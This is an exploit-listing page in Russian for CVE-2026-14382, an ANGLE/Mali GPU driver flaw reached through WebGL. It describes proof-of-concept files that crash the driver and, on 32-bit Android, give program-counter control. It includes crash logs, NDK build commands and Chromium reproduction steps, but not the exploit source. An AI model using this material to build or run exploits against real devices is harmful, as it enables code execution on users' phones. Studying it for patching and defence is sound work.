## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-JAF0RK-CVE-2026-14382
# CVE-2026-14382
## Триггер бинарного файла
Исправление ошибки
root@kitploit:~
[$250000][492218546] High CVE-2026-14382: Insufficient validation of untrusted input in ANGLE. Reported by anonymous on 2026-03-13
Коренная причина этой уязвимости, по-видимому, аналогична CVE-2025-6558. Исходя из моего текущего анализа, я подозреваю, что это может быть вариант CVE-2025-6558. Поэтому я адаптировал PoC для CVE-2025-6558 и создал следующие файлы:
* `poc.c` является основным PoC, но работает только в 32-битной среде. Как и в оригинальном PoC для CVE-2025-6558, он позволяет управлять программным счётчиком (PC).
* `poc64.c` демонстрирует, что та же проблема может быть воспроизведена и в среде AArch64. Однако результирующее значение PC непредсказуемо и не может быть надёжно контролируемо, что затрудняет эксплуатацию. Я всё ещё исследую, можно ли добиться надёжного контроля PC.
* `poc64.html` функционально эквивалентен `poc64.c`, но сбой происходит не надёжно при каждой попытке. Если сбой не происходит, попробуйте запустить его несколько раз.
### Устройство
Pixel 7 Android16
### Сбой
root@kitploit:~
--------- beginning of crash
06-29 11:17:38.359 26942 26942 F libc : Fatal signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0x8d42a150 in tid 26942 (poc), pid 26942 (poc)
06-29 11:17:38.374 26950 26950 I crash_dump32: obtaining output fd from tombstoned, type: kDebuggerdTombstoneProto
06-29 11:17:38.375 747 747 I tombstoned: received crash request for pid 26942
06-29 11:17:38.375 26950 26950 I crash_dump32: performing dump of process 26942 (target tid = 26942)
06-29 11:17:38.393 1624 1624 W TracingMuxer: type=1400 audit(0.0:31735): avc: denied { write } for name="traced_producer" dev="tmpfs" ino=1316 scontext=u:r:gxp_logging:s0 tcontext=u:object_r:traced_producer_socket:s0 tclass=sock_file permissive=0
06-29 11:17:38.427 26950 26950 F DEBUG : *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***
06-29 11:17:38.427 26950 26950 F DEBUG : Build fingerprint: 'google/panther/panther:16/BP2A.250605.031.A2/13578606:user/release-keys'
06-29 11:17:38.427 26950 26950 F DEBUG : Revision: 'MP1.0'
06-29 11:17:38.427 26950 26950 F DEBUG : ABI: 'arm'
06-29 11:17:38.427 26950 26950 F DEBUG : Timestamp: 2025-06-29 11:17:38.376836685+0800
06-29 11:17:38.427 26950 26950 F DEBUG : Process uptime: 1s
06-29 11:17:38.427 26950 26950 F DEBUG : Cmdline: ./poc
06-29 11:17:38.427 26950 26950 F DEBUG : pid: 26942, tid: 26942, name: poc >>> ./poc <<<
06-29 11:17:38.427 26950 26950 F DEBUG : uid: 2000
06-29 11:17:38.427 26950 26950 F DEBUG : signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0x8d42a150
06-29 11:17:38.427 26950 26950 F DEBUG : r0 f3dc1630 r1 00000000 r2 00000000 r3 8d42a150
06-29 11:17:38.427 26950 26950 F DEBUG : r4 f319fc7c r5 f76bb2d0 r6 00000000 r7 f76bb2dc
06-29 11:17:38.427 26950 26950 F DEBUG : r8 f319fbd8 r9 00000000 r10 f3194290 r11 00000001
06-29 11:17:38.427 26950 26950 F DEBUG : ip 00000000 sp fff04368 lr f47b35af pc 8d42a150
06-29 11:17:38.427 26950 26950 F DEBUG : 5 total frames
06-29 11:17:38.427 26950 26950 F DEBUG : backtrace:
06-29 11:17:38.427 26950 26950 F DEBUG : NOTE: Function names and BuildId information is missing for some frames due
06-29 11:17:38.427 26950 26950 F DEBUG : NOTE: to unreadable libraries. For unwinds of apps, only shared libraries
06-29 11:17:38.427 26950 26950 F DEBUG : NOTE: found under the lib/ directory are readable.
06-29 11:17:38.427 26950 26950 F DEBUG : NOTE: On this device, run setenforce 0 to make the libraries readable.
06-29 11:17:38.427 26950 26950 F DEBUG : NOTE: Unreadable libraries:
06-29 11:17:38.427 26950 26950 F DEBUG : NOTE: /data/local/tmp/poc
06-29 11:17:38.427 26950 26950 F DEBUG : #00 pc 8d42a150 <unknown>
06-29 11:17:38.427 26950 26950 F DEBUG : #01 pc 006185ad /vendor/lib/egl/libGLES_mali.so (gles_drawp_handle_dependencies(gles_context*, gles_draw_call*, glescore_submission*)+196) (BuildId: da7af0632b11c153bc5a10aa30fdc8a1314007c5)
06-29 11:17:38.427 26950 26950 F DEBUG : #02 pc 00619a6b /vendor/lib/egl/libGLES_mali.so (gles_drawp_draw_common+794) (BuildId: da7af0632b11c153bc5a10aa30fdc8a1314007c5)
06-29 11:17:38.427 26950 26950 F DEBUG : #03 pc 005d1373 /vendor/lib/egl/libGLES_mali.so (gles_draw_draw_arrays+32) (BuildId: da7af0632b11c153bc5a10aa30fdc8a1314007c5)
06-29 11:17:38.427 26950 26950 F DEBUG : #04 pc 000022fc /data/local/tmp/poc
--------- beginning of system
### Сборка
arm32:
root@kitploit:~
$NDK/toolchains/llvm/prebuilt/linux-x86_64/bin/clang poc.c -lGLESv3 -lGLESv2 -lEGL -lm --target=armv7a-linux-android34 -g -O0 -o poc
aarch64:
root@kitploit:~
$NDK/toolchains/llvm/prebuilt/linux-x86_64/bin/clang poc.c -lGLESv3 -lGLESv2 -lEGL -lm --target=aarch64-linux-android34 -g -O0 -o poc
## Триггер Chrome
### Версия
root@kitploit:~
commit 65db666ac2cf205fcc36db8bb5b9cd87f94808ac (HEAD -> 148.0.7778.167, tag: 148.0.7778.167)
Author: Juan Mojica <some-email@example.com>
Date: Mon May 11 16:14:03 2026 -0700
[148] [lens] Delay searchbox initialization to fix flaky thumbnail
Original change's description:
> [lens] Delay searchbox initialization to fix flaky thumbnail
>
> Move the OnPageBound() invocation from the LensSearchboxHandler
> constructor to the LensSearchboxController registration methods.
>
> Previously, OnPageBound() fired during the handler object's
> construction. At this stage, the controller's pointer to the handler was
> still null, causing initial state flushes, such as cached thumbnails and
> pending text queries, to be skipped.
>
> Delaying this notification until the handler is fully stored in the
> controller ensures that the initial state push always succeeds. This
> resolves the flaky viewport thumbnail issue by securing the existing
> state propagation order without introducing side effects.
>
> Demo: http://shortn/_DGK0HD8ARP
> Bug: b:510419641
> Change-Id: If0abf11b601f78f5555969295e224cec30a82162
> Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/7830897
> Auto-Submit: Juan Mojica <some-email@example.com>
> Commit-Queue: Juan Mojica <some-email@example.com>
> Reviewed-by: Riley Tatum <some-email@example.com>
> Commit-Queue: Riley Tatum <some-email@example.com>
> Reviewed-by: Duncan Mercer <some-email@example.com>
> Cr-Commit-Position: refs/heads/main@{#1627226}
### Аргументы сборки
root@kitploit:~
# Set build arguments here. See `gn help buildargs`.
is_official_build = true
is_debug = false
symbol_level = 2
v8_symbol_level = 2
blink_symbol_level = 2
is_component_build = false
proprietary_codecs = true
ffmpeg_branding = "Chrome"
dcheck_always_on =false
optimize_webui = true
android_static_analysis = "off"
target_os = "android"
target_cpu = "arm64"
treat_warnings_as_errors = false
### Воспроизведение
1. Примените patch webgl_rendering_context_base.cc.patch
2. Соберите Chromium
3. Откройте `po64.html`
### Сбой
root@kitploit:~
xxxx@xxxx-pc:~/xxxx/xxx$ adb logcat | grep DEBUG
07-02 06:01:35.467 14975 14975 F DEBUG : *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***
07-02 06:01:35.467 14975 14975 F DEBUG : Build fingerprint: 'google/panther/panther:16/BP2A.250605.031.A2/13578606:user/release-keys'
07-02 06:01:35.467 14975 14975 F DEBUG : Revision: 'MP1.0'
07-02 06:01:35.467 14975 14975 F DEBUG : ABI: 'arm64'
07-02 06:01:35.467 14975 14975 F DEBUG : Timestamp: 2025-07-02 06:01:35.267116437+0800
07-02 06:01:35.467 14975 14975 F DEBUG : Process uptime: 15s
07-02 06:01:35.467 14975 14975 F DEBUG : Cmdline: org.chromium.chrome:privileged_process0
07-02 06:01:35.467 14975 14975 F DEBUG : pid: 14856, tid: 14876, name: CrGpuMain >>> org.chromium.chrome:privileged_process0 <<<
07-02 06:01:35.467 14975 14975 F DEBUG : uid: 10293
07-02 06:01:35.467 14975 14975 F DEBUG : tagged_addr_ctrl: 0000000000000001 (PR_TAGGED_ADDR_ENABLE)
07-02 06:01:35.467 14975 14975 F DEBUG : signal 7 (SIGBUS), code 1 (BUS_ADRALN), fault addr 0x002e00640069006f
07-02 06:01:35.467 14975 14975 F DEBUG : x0 b400006f5c65b620 x1 0000000000000000 x2 0000000000000000 x3 002e00640069006f
07-02 06:01:35.467 14975 14975 F DEBUG : x4 b4000070d83c50f0 x5 0000000000000000 x6 0000000000000000 x7 0000006d95475904
07-02 06:01:35.467 14975 14975 F DEBUG : x8 0c47bf888b6997ff x9 0c47bf888b6997ff x10 0000000000000000 x11 0000000000000002
07-02 06:01:35.467 14975 14975 F DEBUG : x12 0000006d95475590 x13 0000005ffae1e000 x14 0000000000000200 x15 00000508f18de566
07-02 06:01:35.467 14975 14975 F DEBUG : x16 0000006de78fa2e8 x17 00000070c3c6ec40 x18 0000006d94534000 x19 b400006df696ca00
07-02 06:01:35.467 14975 14975 F DEBUG : x20 b4000070d83c50f0 x21 b400006df697d7c8 x22 b400006df697d8f0 x23 0000000000000000
07-02 06:01:35.467 14975 14975 F DEBUG : x24 b4000070d83c5108 x25 0000000000000000 x26 b4000070d83c5110 x27 0000000000000010
07-02 06:01:35.467 14975 14975 F DEBUG : x28 0000000000000008 x29 0000000000000001
07-02 06:01:35.467 14975 14975 F DEBUG : lr 0000006de5240c88 sp 0000006d95475820 pc 002e00640069006f pst 0000000060001000
07-02 06:01:35.467 14975 14975 F DEBUG : 32 total frames
07-02 06:01:35.467 14975 14975 F DEBUG : backtrace:
07-02 06:01:35.467 14975 14975 F DEBUG : #00 pc 002e00640069006f <unknown>
07-02 06:01:35.467 14975 14975 F DEBUG : #01 pc 00000000009fbc84 /vendor/lib64/egl/libGLES_mali.so (gles_drawp_handle_dependencies(gles_context*, gles_draw_call*, glescore_submission*)+292) (BuildId: 035427b48537aa8c1499aa365b4c26e44ae21572)
07-02 06:01:35.467 14975 14975 F DEBUG : #02 pc 00000000009fd614 /vendor/lib64/egl/libGLES_mali.so (gles_drawp_draw_common+1060) (BuildId: 035427b48537aa8c1499aa365b4c26e44ae21572)
07-02 06:01:35.467 14975 14975 F DEBUG : #03 pc 00000000009949fc /vendor/lib64/egl/libGLES_mali.so (glDrawArrays+92) (BuildId: 035427b48537aa8c1499aa365b4c26e44ae21572)
07-02 06:01:35.467 14975 14975 F DEBUG : #04 pc 0000000005b6d69c /data/app/~~hnuqRYjvqChsV0TgdsyChQ==/org.chromium.chrome-mynNmCCQWC9LhdbK_Qbghw==/lib/arm64/libchrome.so (BuildId: 1cd3317925a581714026104731e13a02775f3c01)
07-02 06:01:35.467 14975 14975 F DEBUG : #05 pc 000000000904f390 /data/app/~~hnuqRYjvqChsV0TgdsyChQ==/org.chromium.chrome-mynNmCCQWC9LhdbK_Qbghw==/lib/arm64/libchrome.so (BuildId: 1cd3317925a581714026104731e13a02775f3c01)
07-02 06:01:35.467 14975 14975 F DEBUG : #06 pc 0000000009048a30 /data/app/~~hnuqRYjvqChsV0TgdsyChQ==/org.chromium.chrome-mynNmCCQWC9LhdbK_Qbghw==/lib/arm64/libchrome.so (BuildId: 1cd3317925a581714026104731e13a02775f3c01)
07-02 06:01:35.467 14975 14975 F DEBUG : #07 pc 00000000065c4548 /data/app/~~hnuqRYjvqChsV0TgdsyChQ==/org.chromium.chrome-mynNmCCQWC9LhdbK_Qbghw==/lib/arm64/libchrome.so (BuildId: 1cd3317925a581714026104731e13a02775f3c01)
07-02 06:01:35.467 14975 14975 F DEBUG : #08 pc 00000000068f9e20 /data/app/~~hnuqRYjvqChsV0TgdsyChQ==/org.chromium.chrome-mynNmCCQWC9LhdbK_Qbghw==/lib/arm64/libchrome.so (BuildId: 1cd3317925a581714026104731e13a02775f3c01)
07-02 06:01:35.467 14975 14975 F DEBUG : #09 pc 00000000068fb024 /data/app/~~hnuqRYjvqChsV0TgdsyChQ==/org.chromium.chrome-mynNmCCQWC9LhdbK_Qbghw==/lib/arm64/libchrome.so (BuildId: 1cd3317925a581714026104731e13a02775f3c01)
07-02 06:01:35.467 14975 14975 F DEBUG : #10 pc 00000000068faecc /data/app/~~hnuqRYjvqChsV0TgdsyChQ==/org.chromium.chrome-mynNmCCQWC9LhdbK_Qbghw==/lib/arm64/libchrome.so (BuildId: 1cd3317925a581714026104731e13a02775f3c01)
07-02 06:01:35.467 14975 14975 F DEBUG : #11 pc 0000000005abd928 /data/app/~~hnuqRYjvqChsV0TgdsyChQ==/org.chromium.chrome-mynNmCCQWC9LhdbK_Qbghw==/lib/arm64/libchrome.so (BuildId: 1cd3317925a581714026104731e13a02775f3c01)
07-02 06:01:35.467 14975 14975 F DEBUG : #12 pc 00000000065c5b00 /data/app/~~hnuqRYjvqChsV0TgdsyChQ==/org.chromium.chrome-mynNmCCQWC9LhdbK_Qbghw==/lib/arm64/libchrome.so (BuildId: 1cd3317925a581714026104731e13a02775f3c01)
07-02 06:01:35.467 14975 14975 F DEBUG : #13 pc 0000000005765884 /data/app/~~hnuqRYjvqChsV0TgdsyChQ==/org.chromium.chrome-mynNmCCQWC9LhdbK_Qbghw==/lib/arm64/libchrome.so (BuildId: 1cd3317925a581714026104731e13a02775f3c01)
07-02 06:01:35.467 14975 14975 F DEBUG : #14 pc 0000000005aac700 /data/app/~~hnuqRYjvqChsV0TgdsyChQ==/org.chromium.chrome-mynNmCCQWC9LhdbK_Qbghw==/lib/arm64/libchrome.so (BuildId: 1cd3317925a581714026104731e13a02775f3c01)
07-02 06:01:35.467 14975 14975 F DEBUG : #15 pc 0000000005fd6ff0 /data/app/~~hnuqRYjvqChsV0TgdsyChQ==/org.chromium.chrome-mynNmCCQWC9LhdbK_Qbghw==/lib/arm64/libchrome.so (BuildId: 1cd3317925a581714026104731e13a02775f3c01)
07-02 06:01:35.467 14975 14975 F DEBUG : #16 pc 0000000007087ba8 /data/app/~~hnuqRYjvqChsV0TgdsyChQ==/org.chromium.chrome-mynNmCCQWC9LhdbK_Qbghw==/lib/arm64/libchrome.so (BuildId: 1cd3317925a581714026104731e13a02775f3c01)
07-02 06:01:35.467 14975 14975 F DEBUG : #17 pc 0000000007b0a540 /data/app/~~hnuqRYjvqChsV0TgdsyChQ==/org.chromium.chrome-mynNmCCQWC9LhdbK_Qbghw==/lib/arm64/libchrome.so (BuildId: 1cd3317925a581714026104731e13a02775f3c01)
07-02 06:01:35.467 14975 14975 F DEBUG : #18 pc 00000000070bf1ac /data/app/~~hnuqRYjvqChsV0TgdsyChQ==/org.chromium.chrome-mynNmCCQWC9LhdbK_Qbghw==/lib/arm64/libchrome.so (BuildId: 1cd3317925a581714026104731e13a02775f3c01)
07-02 06:01:35.467 14975 14975 F DEBUG : #19 pc 00000000070bf5b0 /data/app/~~hnuqRYjvqChsV0TgdsyChQ==/org.chromium.chrome-mynNmCCQWC9LhdbK_Qbghw==/lib/arm64/libchrome.so (BuildId: 1cd3317925a581714026104731e13a02775f3c01)
07-02 06:01:35.467 14975 14975 F DEBUG : #20 pc 0000000007984ac4 /data/app/~~hnuqRYjvqChsV0TgdsyChQ==/org.chromium.chrome-mynNmCCQWC9LhdbK_Qbghw==/lib/arm64/libchrome.so (BuildId: 1cd3317925a581714026104731e13a02775f3c01)
07-02 06:01:35.467 14975 14975 F DEBUG : #21 pc 0000000007984788 /data/app/~~hnuqRYjvqChsV0TgdsyChQ==/org.chromium.chrome-mynNmCCQWC9LhdbK_Qbghw==/lib/arm64/libchrome.so (BuildId: 1cd3317925a581714026104731e13a02775f3c01)
07-02 06:01:35.467 14975 14975 F DEBUG : #22 pc 000000000033f500 /apex/com.android.art/lib64/libart.so (art_quick_generic_jni_trampoline+144) (BuildId: b229f9d1b6196afaae086f29f029f907)
07-02 06:01:35.467 14975 14975 F DEBUG : #23 pc 0000000000689588 /apex/com.android.art/lib64/libart.so (nterp_helper+152) (BuildId: b229f9d1b6196afaae086f29f029f907)
07-02 06:01:35.467 14975 14975 F DEBUG : #24 pc 000000000028e37e /data/app/~~hnuqRYjvqChsV0TgdsyChQ==/org.chromium.chrome-mynNmCCQWC9LhdbK_Qbghw==/base.apk (offset 0x1f6f000) (gj1.run+570)
07-02 06:01:35.467 14975 14975 F DEBUG : #25 pc 00000000000a94f0 /system/framework/arm64/boot.oat (java.lang.Thread.run+64) (BuildId: f7dcc0c41d7298598dd50b6df5fbdd67cef62829)
07-02 06:01:35.467 14975 14975 F DEBUG : #26 pc 0000000000328194 /apex/com.android.art/lib64/libart.so (art_quick_invoke_stub+612) (BuildId: b229f9d1b6196afaae086f29f029f907)
07-02 06:01:35.467 14975 14975 F DEBUG : #27 pc 00000000002d9348 /apex/com.android.art/lib64/libart.so (art::ArtMethod::Invoke(art::Thread*, unsigned int*, unsigned int, art::JValue*, char const*)+216) (BuildId: b229f9d1b6196afaae086f29f029f907)
07-02 06:01:35.467 14975 14975 F DEBUG : #28 pc 0000000000421028 /apex/com.android.art/lib64/libart.so (art::Thread::CreateCallback(void*)+932) (BuildId: b229f9d1b6196afaae086f29f029f907)
07-02 06:01:35.467 14975 14975 F DEBUG : #29 pc 0000000000420c74 /apex/com.android.art/lib64/libart.so (art::Thread::CreateCallbackWithUffdGc(void*)+8) (BuildId: b229f9d1b6196afaae086f29f029f907)
07-02 06:01:35.467 14975 14975 F DEBUG : #30 pc 0000000000080e6c /apex/com.android.runtime/lib64/bionic/libc.so (__pthread_start(void*)+236) (BuildId: 56d1c072e220860e239a4a1824a78f97)
07-02 06:01:35.467 14975 14975 F DEBUG : #31 pc 00000000000736d0 /apex/com.android.runtime/lib64/bionic/libc.so (__start_thread+64) (BuildId: 56d1c072e220860e239a4a1824a78f97)